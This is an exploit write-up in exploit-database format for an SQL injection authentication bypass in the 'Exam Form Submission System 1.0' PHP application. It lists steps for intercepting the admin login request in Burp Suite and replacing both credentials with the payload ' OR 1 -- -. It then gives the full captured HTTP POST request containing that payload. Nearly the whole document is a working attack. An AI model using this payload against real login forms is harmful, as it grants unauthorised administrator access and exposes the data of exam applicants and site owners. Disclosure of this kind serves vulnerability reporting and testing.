Exam Form Submission System 1.0 SQL Injection

`# Exploit Title: Exam Form Submission System 1.0 - SQL Injection Authentication Bypass  
# Date: 30-09-2021  
# Exploit Author: Nitin Sharma (Vidvansh)  
# Vendor Homepage: https://code-projects.org  
# Product link: https://code-projects.org/exam-form-submission-in-php-with-source-code/  
# Version: 1.0  
# Tested on: XAMPP / Windows 10  
  
Steps-To-Reproduce:  
Step 1 Go to the Product admin panel http://localhost/EXAM_FORM_SUBMISSION/admin/index.php.  
Step 2 – Enter anything in username and password  
Step 3 – Click on Login and capture the request in the burp suite  
Step4 – Change the username to ' OR 1 -- - and password to ' OR 1 -- -.  
Step 5 – Click forward and now you will be logged in as admin.  
  
POC   
POST /EXAM_FORM_SUBMISSION/admin/index.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-GB,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 40  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/EXAM_FORM_SUBMISSION/admin/index.php  
Cookie: PHPSESSID=2fa01e7lg9vfhtspr2hs45va76  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: same-origin  
Sec-Fetch-User: ?1  
  
email='%20OR%201%20--%20-&pass='%20OR%201%20--%20-&Login=Login  
  
`